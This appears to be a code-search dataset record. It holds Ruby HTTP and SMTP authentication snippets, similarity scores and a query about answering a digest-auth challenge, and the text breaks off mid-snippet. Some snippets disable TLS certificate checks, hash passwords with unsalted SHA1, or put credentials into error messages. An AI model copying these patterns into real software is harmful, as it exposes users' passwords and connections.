loginresponse.kind_of?(Net::HTTPFound) && loginresponse['Location'] =~ /sso.*\\/session\\/token.*/\n puts \"** Found session token\" if @debug\n break\n end\n puts \"** Following redirect #{loginresponse.class.to_s} => #{loginresponse['Location'].to_s}\" if @debug\n loginuri = URI.parse(loginresponse['Location'])\n loginreq = Net::HTTP::Post.new(loginuri.request_uri)\n loginreq.set_form_data({'login' => login, 'password' => password})\n loginresponse = make_http(loginuri).request(loginreq)\n end # while loginresponse.kind_of?(Net::HTTPMovedPermanently)\n\n if @debug\n puts \"AUTH POST response (#{loginresponse.code}):\"\n if loginresponse.body.strip.empty?\n puts '<Body empty>'\n else\n puts loginresponse.body\n end\n end\n\n # SSO does a number of redirects until you get to the right domain but should just follow once and get the cookie, will become Net::HTTPNotAcceptable (406).\n if loginresponse.kind_of?(Net::HTTPFound) && loginresponse['Location'] =~ /sso.*\\/session\\/token.*/\n puts \"** Following redirect #{loginresponse.class.to_s} => #{loginresponse['Location'].to_s}\" if @debug\n loginuri = URI.parse(loginresponse['Location'])\n loginreq = Net::HTTP::Get.new(loginuri.request_uri)\n loginresponse = make_http(loginuri).request(loginreq)\n end\n\n # The SSO server sends back 200 if authentication succeeds, 401 or 403\n # if it does not.\n if loginresponse.kind_of?(Net::HTTPSuccess) || (loginresponse.kind_of?(Net::HTTPFound) && loginresponse['Location'] =~ /^#{loginuri.scheme}:\\/\\/#{loginuri.host}\\/$/ ) || loginresponse.kind_of?(Net::HTTPNotAcceptable)\n puts \"Authentication against server succeeded\" if (@debug)\n extract_cookie(loginresponse, loginuri, login)\n puts \"Resending original request now that we've authenticated\" if (@debug)\n loopcounter += 1\n return send_request(req, uri, login, password_callback, loopcounter,stopflag)\n else\n puts \"Authentication against server failed\" if (@debug)\n end\n end\n\n response\n end", "def call_rest_login\n print \"validating credentials...\" \n @uri.path = \"/nitro/v1/config/login/\"\n @request = Net::HTTP::Post.new(@uri)\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.login+json')\n @request.body = { :login => { :username => \"#{@username}\", :password => \"#{@password}\" } }.to_json \n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n if response.code == \"201\"\n print \"success!\\n\"\n else\n print \"fail!\\n\"\n print JSON.parse(response.body), \"\\n\"\n abort()\n end\n }\n end", "def authenticate_with_http_digest(realm = \"Application\", &password_procedure)\n HttpAuthentication::Digest.authenticate(self, realm, &password_procedure)\n end", "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "def authenticate(req, res)\n unless basic_credentials = check_scheme(req)\n challenge(req, res)\n end\n userid, password = basic_credentials.unpack(\"m*\")[0].split(\":\", 2)\n password ||= \"\"\n if userid.empty?\n error(\"user id was not given.\")\n challenge(req, res)\n end\n\n unless ::Device.find_by(proxy_login: userid)\n error(\"%s: the user is not allowed.\", userid)\n challenge(req, res)\n end\n\n $device = ::Device.find_by(proxy_login: userid, proxy_password: password)\n if not $device\n error(\"%s: password unmatch.\", userid)\n challenge(req, res)\n end\n\n info(\"%s: authentication succeeded.\", userid)\n\n req.user = userid\n end", "def send_authenticated_http_post(path, body, sID)\n logger.debug { \"#{self.class}\\##{__method__}(#{path.inspect})\" }\n url = \"https://#{@hostname}:#{@port}#{path}\"\n request = HTTPI::Request.new(url)\n request.auth.ssl.verify_mode = :none\n request.headers = {\n \"Cookie\" => \"sID=#{sID}\",\n \"Content-Type\" => \"application/x-www-form-urlencoded\"\n }\n request.gzip\n request.body = body\n response = HTTPI.post request\n response.body\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n (user = User.find_by_name(username)) != nil \\\n && user.password == Digest::SHA1.hexdigest(password)\n end\n end", "def protected!\n unless authorized?\n response['WWW-Authenticate'] = %(Basic realm=\"Restricted Area\")\n throw(:halt, [401, \"Not authorized\\n\"])\n end\n end", "def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end", "def http_basic_authorize!(realm, username, password)\n auth = Rack::Auth::Basic::Request.new(request.env)\n unless auth.provided? && auth.basic? && auth.credentials &&\n auth.credentials == [username, password]\n response['WWW-Authenticate'] = %(Basic realm=\"#{realm}\")\n request.halt(401)\n end\n end", "def http_get_auth_resource(location, username,password, depth)\n\n unless depth > 0\n @task_result.logger.log_error \"Too many redirects\"\n exit\n end\n\n uri = URI.parse(location)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri,{\"User-Agent\" => \"Intrigue!\"})\n request.basic_auth(username,password)\n response = http.request(request)\n\n if response == Net::HTTPRedirection\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n elsif response == Net::HTTPMovedPermanently\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n else\n @task_result.logger.log \"Got response: #{response}\"\n end\n\n response\n end", "def process_auth str\n if @state.include?(:auth)\n send_data \"503 auth already issued\\r\\n\"\n elsif str =~ /\\APLAIN\\s?/i\n if $'.length == 0\n # we got a partial response, so let the client know to send the rest\n @state << :auth_incomplete\n send_data(\"334 \\r\\n\")\n else\n # we got the initial response, so go ahead & process it\n process_auth_line($')\n end\n #elsif str =~ /\\ALOGIN\\s+/i\n else\n send_data \"504 auth mechanism not available\\r\\n\"\n end\n end", "def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n @auth_key = headers[:x_vcloud_authorization]\n end", "def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end", "def authenticate_with_server( socket, username, password )\n authkey = send_username( socket, username )\n salted_password = salt_password( authkey, password )\n response = send_salty_password( socket, salted_password )\n case response\n when \"AUTHORIZED\"\n puts response\n when \"NOT AUTHORIZED\"\n puts response\n raise NotAuthorized, \"NOT AUTHORIZED\"\n else\n puts \"Server response unknown: #{response}\"\n raise NotAuthorized, \"NOT AUTHORIZED\"\n end\n end", "def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end", "def authenticate\n # :x_amee_source = \"X-AMEE-Source\".to_sym\n request = Typhoeus::Request.new(\"#{protocol}#{@server}/auth/signIn\", \n :method => \"post\",\n :verbose => DEBUG,\n :headers => {\n :Accept => content_type(:xml),\n },\n :body => form_encode(:username=>@username, :password=>@password)\n )\n\n hydra.queue(request)\n hydra.run\n response = request.response\n\n @auth_token = response.headers_hash['AuthToken']\n d {request.url}\n d {response.code}\n d {@auth_token}\n\n connection_failed if response.code == 0\n\n unless authenticated?\n raise AMEE::AuthFailed.new(\"Authentication failed. Please check your username and password. (tried #{@username},#{@password})\")\n end\n # Detect API version\n if response.body.is_json?\n @version = JSON.parse(response.body)[\"user\"][\"apiVersion\"].to_f\n elsif response.body.is_xml?\n @version = REXML::Document.new(response.body).elements['Resources'].elements['SignInResource'].elements['User'].elements['ApiVersion'].text.to_f\n else\n @version = 1.0\n end\n end" ]
[ "0.68780607", "0.6685646", "0.66310793", "0.6569068", "0.64974284", "0.6442476", "0.6410493", "0.64049894", "0.64043194", "0.6377079", "0.63754964", "0.63754964", "0.6346481", "0.63259995", "0.62954664", "0.6285119", "0.6255445", "0.6224594", "0.61926794", "0.61812997", "0.6177298", "0.61585927", "0.615752", "0.61185306", "0.61023694", "0.6089076", "0.607619", "0.607619", "0.6070671", "0.6063958", "0.60635895", "0.6024375", "0.6008167", "0.5988449", "0.59743327", "0.5964344", "0.59506786", "0.5929562", "0.59282434", "0.5927684", "0.5921426", "0.5905825", "0.59051746", "0.590504", "0.5884127", "0.5882622", "0.58517355", "0.5848758", "0.5846911", "0.58356965", "0.58352405", "0.58331496", "0.58322453", "0.58236945", "0.581407", "0.5813941", "0.5809187", "0.5792612", "0.5784097", "0.57667655", "0.5766013", "0.5765072", "0.5759218", "0.5754862", "0.57533437", "0.5749209", "0.5730166", "0.5713597", "0.57000506", "0.5692868", "0.5679682", "0.5678382", "0.56765723", "0.56613463", "0.56588197", "0.5657808", "0.5656761", "0.56507635", "0.5644113", "0.5642849", "0.56418777", "0.5638594", "0.563182", "0.56283236", "0.56242603", "0.562258", "0.56143355", "0.5606182", "0.56036246", "0.5599026", "0.5591579", "0.55902535", "0.55820954", "0.5579132", "0.5575469", "0.5570959", "0.5569038", "0.55644494", "0.5564229", "0.5562278" ]
0.6196134
18
Adds authentication information to the request based on the challenge from the response.
def respond_to_challenge(request, response) authenticate_header = response['www-authenticate'].downcase authenticate_header.sub!(/^digest /, '') @authentication_params = authenticate_header.split(", ").inject({}) { |h, field| key, value = field.split("=") h[key] = value.gsub(/^"|"$/, '') # strip quotes. h } add_cookies!(request) authenticate_request!(request) request.each{|k,v| puts "#{k}: #{v}" } # Resend the request @client.request(request) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def challenge(request, response)\n auth = Http::Auth::Bearer.new(\n @realm,\n request,\n response\n )\n auth.require_login\n end", "def challenge(req, res)\n res[@response_field] = \"#{@auth_scheme} realm=\\\"#{@realm}\\\"\"\n raise @auth_exception\n end", "def challenge(_request, _response)\n end", "def add_authentication(_, request)\n request.headers['X-User-Email'] = self.class.api_user_email\n request.headers['X-User-Token'] = self.class.api_token\n end", "def check_authentication_info(res, opts)\n\n return if no_digest_auth\n # not using digest authentication\n\n return unless @challenge\n # not yet authenticated\n\n authinfo = AuthInfo.new res\n @challenge.nonce = authinfo.nextnonce\n end", "def authenticate_request!(request)\n return if @authentication_params.empty?\n \n puts \"AUTHENTICATION PARAMS: #{@authentication_params.inspect}\"\n @nonce_count += 1\n cnonce = Digest::MD5.hexdigest(Time.now.to_s + rand(65535).to_s)\n a1 = \"#{@http_login}:#{@authentication_params['realm']}:#{@password}\"\n a2 = \"#{request.method}:#{request.path}\"\n\n response_digest = Digest::MD5.hexdigest(a1) << ':' <<\n @authentication_params['nonce'] << ':' <<\n ('%08x' % @nonce_count) << ':' <<\n cnonce << ':' <<\n @authentication_params['qop'] << ':' <<\n Digest::MD5.hexdigest(a2)\n\n request['Authorization'] = \"Digest username=\\\"#{@http_login}\\\", \" <<\n \"realm=\\\"#{@authentication_params['realm']}\\\", \" <<\n \"nonce=\\\"#{@authentication_params['nonce']}\\\", \" <<\n \"uri=\\\"#{request.path}\\\", \" <<\n \"nc=#{'%08x' % @nonce_count}, \" <<\n \"qop=\\\"#{@authentication_params['qop']}\\\", \" <<\n \"cnonce=\\\"#{cnonce}\\\", \" <<\n \"response=\\\"#{Digest::MD5.hexdigest(response_digest)}\\\"\"\n end", "def challenge\n @challenge = decode_challenge\n respond\n end", "def require_authentication( challenge )\n\t\tfinish_with( HTTP::AUTH_REQUIRED, \"Requires authentication.\", www_authenticate: challenge )\n\tend", "def challenge!\n response_headers = { \"WWW-Authenticate\" => %(Basic realm=\"My Application\"), 'Content-Type' => 'text/plain' }\n response_headers['X-WHATEVER'] = \"some other value\"\n body = \"401 Unauthorized\"\n response = Rack::Response.new(body, 401, response_headers)\n custom! response.finish\n end", "def get_challenge\n result = @client.call(\"LJ.XMLRPC.getchallenge\")\n challenge = result[\"challenge\"]\n response = MD5.md5(challenge + @password).to_s\n\n @paramhash[\"auth_challenge\"] = challenge\n @paramhash[\"auth_response\"] = response\n end", "def auth_response\n @auth_response ||= self.authenticate\n end", "def prepare_basic_auth(request)\n user = @options[:user] || nil\n pass = @options[:pass] || nil\n\n request.basic_auth user, pass\n request\n end", "def prepare_basic_auth(request)\n user = @options[:user] || nil\n pass = @options[:pass] || nil\n\n request.basic_auth user, pass\n request\n end", "def add_authentication_to(request=nil)\n if @auth_token\n request.headers['Cookie'] = \"AuthToken=#{@auth_token}\"\n request.headers['AuthToken'] = @auth_token\n else\n raise \"The connection can't authenticate. Check if the auth_token is being set by the server\"\n end\n end", "def authenticate(response)\n headers = response.headers\n begin\n if headers.has_key?('www-authenticate')\n auth_description = headers['www-authenticate']\n if auth_description.match('Bearer realm=')\n auth_service = TokenAuthService.new(self)\n auth_service.tokenAuth(response)\n else\n throw \"Auth method not supported #{auth_description}\"\n end\n end\n rescue Exception => e\n puts \"Authentication failed #{e.message}\".colorize(:red)\n end\n end", "def authenticate!(request)\n if @username and @password \n request.basic_auth @username, @password\n end\n end", "def process_type1_auth(ntlm, request, response)\n t1 = request.ntlm_token\n t2 = ntlm.accept_security_context(t1)\n\n response.start(401) do |head,out|\n head['WWW-Authenticate'] = \"NTLM #{t2}\"\n end\n \n response.ntlm_finished\n end", "def handle_request(request) \n add_cookies!(request)\n authenticate_request!(request)\n response = @client.request(request)\n \n set_cookies(response)\n \n case response\n when Net::HTTPUnauthorized\n response = respond_to_challenge(request, response)\n end\n end", "def authenticate(req, res)\n unless basic_credentials = check_scheme(req)\n challenge(req, res)\n end\n userid, password = basic_credentials.unpack(\"m*\")[0].split(\":\", 2)\n password ||= \"\"\n if userid.empty?\n error(\"user id was not given.\")\n challenge(req, res)\n end\n\n unless ::Device.find_by(proxy_login: userid)\n error(\"%s: the user is not allowed.\", userid)\n challenge(req, res)\n end\n\n $device = ::Device.find_by(proxy_login: userid, proxy_password: password)\n if not $device\n error(\"%s: password unmatch.\", userid)\n challenge(req, res)\n end\n\n info(\"%s: authentication succeeded.\", userid)\n\n req.user = userid\n end", "def authenticate\n uri = create_uri(\"#{@server_url}api/authenticate\")\n h = Net::HTTP.new uri.host, uri.port\n req = Net::HTTP::Get.new uri.request_uri\n res = h.request req\n @digest_auth = Net::HTTP::DigestAuth.new\n @header = res['www-authenticate']\n unless @header\n raise 'No [www-authenticate] header in the server\\'s response'\n end\n end", "def authenticate(request)\n\n # Get the account information out of the request\n account_id = request.env[\"HTTP_X_CLIENT_ACCOUNT_IDENTIFIER\"]\n account_token = request.env[\"HTTP_X_CLIENT_ACCOUNT_TOKEN\"]\n device_id = request.env[\"HTTP_X_DEVICE_IDENTIFIER\"]\n\n auth = {:device_id => device_id}\n\n if (!account_id.nil? && !account_id.empty?) && (!account_token.nil? && !account_token.empty?)\n\n # Get the person\n person = Person.get(account_id)\n\n # Validate the person\n if !person\n return auth.merge({:authenticated => false, :error => true, :description => \"Person identifier not recognized.\", :status => 400})\n end\n\n # Validate the token\n if person.user.password != account_token\n return auth.merge({:authenticated => false, :error => true, :description => \"Invalid authorization token.\", :status => 400})\n end\n\n return auth.merge({:authenticated => true, :person => person})\n\n else\n\n # Unable to authenticate\n return auth.merge({:authenticated => false})\n\n end\n\n end", "def authenticate( req )\n\t\treq.server.log_error \"StageLogger {%d}>> in RubyAuthenHandler authenticate(%p)\" % \n\t\t\t[ Process.pid, req ]\n\n\t\treq.auth_type = 'Basic'\n\t\treq.auth_name = 'StageLogger'\n\t\treq.user = 'stagelogger'\n\n\t\treturn Apache::OK\n\tend", "def unpack_challenge(authenticate)\n if authenticate =~ /Basic\\srealm=\\\"([^\\\"]*)\\\"/\n return Regexp.last_match[1]\n else\n if authenticate =~ /^Basic/\n fail(UnwellformedHeader, \"Can't parse the WWW-Authenticate header, it's probably not well formed\")\n else\n fail(ArgumentError, 'HTTPAuth::Basic can only unpack Basic Authentication headers')\n end\n end\n end", "def authentication_headers\n {\n \"authenticate\" => {\n \"username\" => @username,\n \"apiKey\" => @api_key\n }\n }\n end", "def from_authentication_data response\n load_attributes_from_response(response)\n end", "def authenticate_request!\n return render_unauthorized unless request.headers['Authorization'].present?\n\n @token ||= AuthenticateRequest.get(User, request.headers['Authorization'].split(' ').last)\n @current_user = @token[:user]\n end", "def process_no_auth(request, response)\n response.start(401, true) do |head,out|\n head['WWW-Authenticate'] = 'NTLM'\n end\n end", "def authentication_request\n self.request authentication_request_hash(self.patron_barcode, self.patron_library_symbol)\n end", "def challenge\n 'Basic realm=\"%s\"' % realm\n end", "def response_for_inauthentic_request(env)\n handle_head(env) do\n body = { 'errors' => { 'mauth' => ['Unauthorized'] } }\n [401, { 'Content-Type' => 'application/json' }, [JSON.pretty_generate(body)]]\n end\n end", "def authenticate(request)\n return unless request['Authorization'].nil?\n\n confkey = credential_config_key\n\n token = config(\"#{confkey}.token\")\n user = config(\"#{confkey}.user\")\n pass = config(\"#{confkey}.password\")\n\n if token\n request['Authorization'] = \"token #{token}\"\n elsif user\n begin\n if $stdin.tty?\n pass = ask(\"Enter your password for #{api_url}: \") { |q| q.echo = '*' } if !pass\n else\n $stderr.puts \"STDIN not a TTY - cannot query for missing password.\"\n $stderr.puts \"Please add #{confkey}.password or #{confkey}.token to your gitconfig\"\n exit 1\n end\n rescue Interrupt\n warn \"attempting connection without authorization..\"\n return\n end\n request.basic_auth(user, pass)\n else\n $stderr.puts \"No currently configured username/password or token set for this API Provider.\"\n exit 1 unless $stdin.tty? && setup_credentials\n authenticate(request)\n end\n end", "def authenticate!\n # if the authentication header is an acceptible value\n if @env['HTTP_X_MY_API'] == 'foobar'\n user = { :id => 1, :name => \"some user\" }\n # warden doesn't care what the user is, so long as it's not nil.\n success! user, \"success\"\n end\n end", "def send_auth(res, opts, t, persist)\n if opts['username'].nil? or opts['username'] == ''\n if self.username and not (self.username == '')\n opts['username'] = self.username\n opts['password'] = self.password\n else\n opts['username'] = nil\n opts['password'] = nil\n end\n end\n\n return res if opts['username'].nil? or opts['username'] == ''\n supported_auths = res.headers['WWW-Authenticate']\n\n # if several providers are available, the client may want one in particular\n preferred_auth = opts['preferred_auth']\n\n if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')\n opts['headers'] ||= {}\n opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )\n req = request_cgi(opts)\n res = _send_recv(req,t,persist)\n return res\n elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')\n temp_response = digest_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')\n opts['provider'] = 'NTLM'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')\n opts['provider'] = 'Negotiate'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n end\n return res\n end", "def filter_response(req, res)\n command = nil\n if res.status == HTTP::Status::UNAUTHORIZED\n if challenge = parse_authentication_header(res, 'www-authenticate')\n uri = req.header.request_uri\n challenge.each do |scheme, param_str|\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if scheme.downcase == auth.scheme.downcase\n challengeable = auth.challenge(uri, param_str)\n command = :retry if challengeable\n end\n end\n end\n # ignore unknown authentication scheme\n end\n end\n command\n end", "def filter_request(req)\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if cred = auth.get(req)\n if cred == :skip\n # some authenticator (NTLM and Negotiate) does not\n # need to send extra header after authorization. In such case\n # it should block other authenticators to respond and :skip is\n # the marker for such case.\n return\n end\n req.header.set('Authorization', auth.scheme + \" \" + cred)\n return\n end\n end\n end", "def authenticate\n env = Figaro.env\n\n head :unauthorized unless auth_configured?(env)\n\n authenticate_or_request_with_http_basic do |username, password|\n # This comparison uses & so that it doesn't short circuit and\n # uses `secure_compare` so that length information\n # isn't leaked.\n ActiveSupport::SecurityUtils.secure_compare(\n username, env.twilio_http_basic_auth_username\n ) & ActiveSupport::SecurityUtils.secure_compare(\n password, env.twilio_http_basic_auth_password\n )\n end\n end", "def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end", "def handle_auth_response(response)\n @auth_token = {}\n\n # TODO: Fix this to handle error cases\n begin\n response = JSON.parse(response.body)\n @auth_token[:token] = response[\"token\"]\n @auth_token[:expires_at] = DateTime.parse(response[\"expires_at\"])\n rescue JSON::ParserError, TypeError\n @auth_token = {}\n end\n end", "def authenticate\n json_response(\n auth_token: AuthenticateUser.new(\n auth_params[:username],\n auth_params[:password]\n ).call\n )\n end", "def process_auth str\n if respond_to?(:authenticate)\n if @state.include?(:auth)\n reply 503, \"auth already issued\"\n elsif str =~ /\\APLAIN\\s?/i\n if $'.length == 0\n # we got a partial response, so let the client know to send the rest\n # There is a common misconception that the data has to be sent with the AUTH command\n @state << :auth_plain_incomplete\n reply 334, \"\"\n else\n # we got the initial response, so go ahead & process it\n process_auth_plain_line($')\n end\n elsif str =~ /\\ALOGIN\\s?/i\n if $'.length == 0\n @state << :auth_login_incomplete\n reply 334, \"VXNlcm5hbWU6\" # 'Username:' in Base64\n else\n process_auth_login_line($')\n end\n #elsif str =~ /\\ACRAM-MD5/i\n else\n reply 504, \"auth mechanism not available\"\n end\n else\n process_unknown\n end\n end", "def authenticate_request\n auth_header_token = request.headers[\"Authorization\"]\n @current_user = AuthorizeApiRequest.new(auth_header_token).call\n render json: { error: \"Not Authorized\" }, status: 401 unless @current_user\n end", "def handle_request( request, &block )\n\t\tself.log.debug \"[:auth] Wrapping request in auth with a %p\" % [ self.auth_provider ]\n\n\t\trequest.auth_provider = self.auth_provider\n\t\tself.authenticate_and_authorize( request )\n\n\t\tsuper\n\tend", "def auth\n @auth ||= Hash.new\n\n if !@auth[:username] && @headers['Authorization']\n str = Base64.decode64 @headers['Authorization'].split[1]\n username, password = str.split(\":\", 2)\n @auth = {:username => username, :password => password}.merge @auth\n end\n\n @auth\n end", "def basic_authentication usr, pwd\n\t\t#str = Base64.encode64(\"#{usr}:#{pwd}\")\n\t\t#str = \"Basic #{str}\"\n \n\t\t#@request_headers[\"Authorization\"]= str\n @request_headers[\"Authorization\"]= 'Basic ' + [\"#{usr}:#{pwd}\"].pack('m').delete(\"\\r\\n\")\n\tend", "def authentication_headers\n if token_based?\n {\n 'authenticate' => {\n 'complexType' => 'PortalLoginToken',\n 'userId' => @userId,\n 'authToken' => @authToken\n }\n }\n elsif key_based?\n {\n 'authenticate' => {\n 'username' => @username,\n 'apiKey' => @api_key\n }\n }\n else\n {}\n end\n end", "def authenticate_user(request)\n @log.info(\"Authentication user #{@username}\")\n request.basic_auth(@username, @password)\nend", "def get_auth_params_from_login_response_headers(response)\n client = response.headers['client']\n token = response.headers['access-token']\n expiry = response.headers['expiry']\n token_type = response.headers['token-type']\n uid = response.headers['uid']\n\n auth_params = {\n 'access-token' => token,\n 'client' => client,\n 'uid' => uid,\n 'expiry' => expiry,\n 'token_type' => token_type\n }\n return auth_params\n end", "def retry_with_auth(response)\n @already_tried_with_auth = true\n logger.info(\"Authentication Required. Retrying with auth info\")\n accessor.auth_manager.associate_auth_info(response)\n add_credentials!\n @body.rewind if @body # Its a stringIO, and we already fed it to the adapter once, so rewind it when we try again\n response = fetch_response\n end", "def authenticate!\n response = self.AuthenticateUser(\n { :username => config[:username], :password => config[:password] },\n :is_authenticate => true,\n :allow_reauthenticate => false)\n\n auth_data = {\n :retailer_guid => response['RetailerGuid'],\n :authenticated => response['Authenticated'],\n :token => response['Token'],\n :ics_user_id => response['ICSUserID']\n }\n\n if !auth_data[:authenticated]\n raise AuthenticationError, 'authentication failed'\n end\n\n self.retailer_guid = auth_data[:retailer_guid]\n\n self.auth_header = {\n \"wsdl:AuthenticationResult\" => {\n \"wsdl:RetailerGuid\" => auth_data[:retailer_guid],\n \"wsdl:Authenticated\" => auth_data[:authenticated],\n \"wsdl:Token\" => auth_data[:token],\n \"wsdl:ICSUserID\" => auth_data[:ics_user_id],\n }\n }\n\n @authenticated = true\n end", "def authenticate(request)\n\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def add_signing_headers(verb, path, request)\n ChefAPI::Log.info \"Adding signed header authentication...\"\n\n authentication = Authentication.from_options(\n user: client,\n key: key,\n verb: verb,\n path: path,\n body: request.body || request.body_stream\n )\n\n authentication.headers.each do |key, value|\n ChefAPI::Log.debug \"#{key}: #{value}\"\n request[key] = value\n end\n\n if request.body_stream\n request.body_stream.rewind\n end\n end", "def authenticate_request\n service_response = UserManagement::VerifyCookie.new(\n client: params[:client],\n cookie_value: cookies[GlobalConstant::Cookie.user_cookie_name.to_sym],\n browser_user_agent: http_user_agent\n ).perform\n\n if service_response.success?\n # Update Cookie, if required\n extended_cookie_value = service_response.data[:extended_cookie_value]\n set_cookie(\n GlobalConstant::Cookie.user_cookie_name,\n extended_cookie_value,\n GlobalConstant::Cookie.user_expiry.from_now\n ) if extended_cookie_value.present?\n\n # Set user id\n params[:user_id] = service_response.data[:user_id]\n\n # Remove sensitive data\n service_response.data = {}\n else\n # Clear cookie\n delete_cookie(GlobalConstant::Cookie.user_cookie_name)\n render_api_response(service_response)\n end\n end", "def http_auth_hash; end", "def process_basic_auth(auth)\n case auth\n when String\n self.username, self.password = auth.split(':', 2)\n when Hash\n self.username = auth[:username]\n self.password = auth[:password]\n end\n end", "def authenticate\n raise Rackspace::NotInitialized unless self.initialized?\n headers = RestClient::Request.execute(:method => :get, :url => \"#{AUTH_URL}/#{self.api_version}\", :headers => {\"X-Auth-User\" => self.api_user, \"X-Auth-Key\" => self.api_key}, :raw_response => true).headers\n {:auth_token => headers[:x_auth_token], :storage_url => headers[:x_storage_url], :server_management_url => headers[:x_server_management_url], :cdn_management_url => headers[:x_cdn_management_url]}\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def basic_auth(opts); end", "def with_authentication_hash(auth_type, auth_values); end", "def set_challenge_response\n @challenge_response = current_user_or_anonymous_user.challenge_responses.where(id: id).first\n end", "def filter_response(req, res)\n command = nil\n if res.status == HTTP::Status::PROXY_AUTHENTICATE_REQUIRED\n if challenge = parse_authentication_header(res, 'proxy-authenticate')\n uri = req.header.request_uri\n challenge.each do |scheme, param_str|\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if scheme.downcase == auth.scheme.downcase\n challengeable = auth.challenge(uri, param_str)\n command = :retry if challengeable\n end\n end\n end\n # ignore unknown authentication scheme\n end\n end\n command\n end", "def provide_authentication( request )\n\t\tprovider = self.auth_provider\n\t\tself.log.info \"Authenticating request using provider: %p\" % [ provider ]\n\t\tcredentials = provider.authenticate( request ) or finish_with( HTTP::AUTH_REQUIRED, \"Authentication required.\" )\n\t\treturn credentials\n\tend", "def authentication_response\n if authenticate_user.success?\n { :token => authenticate_user.result }\n else\n { :error => :unauthorized }\n end\n end", "def auth_process\n\t\tif @auth_file.authorization.nil?\n \t\t\tmake_auth\n\t\telse\n\t\t\t@client.authorization = @auth_file.authorization\n\t\tend\n\tend", "def process_auth str\n if @state.include?(:auth)\n send_data \"503 auth already issued\\r\\n\"\n elsif str =~ /\\APLAIN\\s?/i\n if $'.length == 0\n # we got a partial response, so let the client know to send the rest\n @state << :auth_incomplete\n send_data(\"334 \\r\\n\")\n else\n # we got the initial response, so go ahead & process it\n process_auth_line($')\n end\n #elsif str =~ /\\ALOGIN\\s+/i\n else\n send_data \"504 auth mechanism not available\\r\\n\"\n end\n end", "def filter_request(req)\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if cred = auth.get(req)\n if cred == :skip\n # some authenticator (NTLM and Negotiate) does not\n # need to send extra header after authorization. In such case\n # it should block other authenticators to respond and :skip is\n # the marker for such case.\n return\n end\n req.header.set('Proxy-Authorization', auth.scheme + \" \" + cred)\n return\n end\n end\n end", "def authenticate\n @apikey = request.headers[:apikey]\n if @apikey==nil || @apikey!= APIKEY\n json_response={\n error: 'autorization error'\n }\n respond_with json_response, location: nil\n end\n end", "def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end", "def authentication_information\n password.nil? ?\n { :method => :anonymous } :\n { :method => :simple, :username => username, :password => password }\n end", "def authenticate_request\n begin\n uid = JWT.decode(request.headers['Authorization'], Rails.application.secrets.secret_key_base)[0]['uid']\n @current_user = User.find_by(uid: uid)\n rescue JWT::DecodeError\n render json: 'authentication failed', status: 401\n end\n end", "def auth_headers\n {\n username: request.headers[\"X-USER-USERNAME\"], \n authentication_token: request.headers[\"X-USER-TOKEN\"]\n }\n end", "def sign_request(request)\n super(request)\n header = @token_provider.get_authentication_header\n\n if (request.respond_to?(:request_headers))\n request.request_headers[AUTHORIZATION] = header\n elsif request.respond_to?(:headers)\n request.headers[AUTHORIZATION] = header\n else\n fail ArgumentError, 'Incorrect request object was provided'\n end\n end", "def set_challenge_response\n @challenge_response = ChallengeResponse.find(params[:id])\n end", "def authenticate_request!\n payload, header = JsonWebToken.verify(http_token)\n header if false # Commeent this line\n @requested_user = {\n email: payload['https://sassbox.com/email'],\n first_name: payload['https://sassbox.com/first_name'],\n last_name: payload['https://sassbox.com/last_name']\n }\n rescue JWT::VerificationError, JWT::DecodeError\n render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n end", "def authenticate\n res = HTTParty.post(\n authenticate_url,\n body: body.to_json,\n headers: { 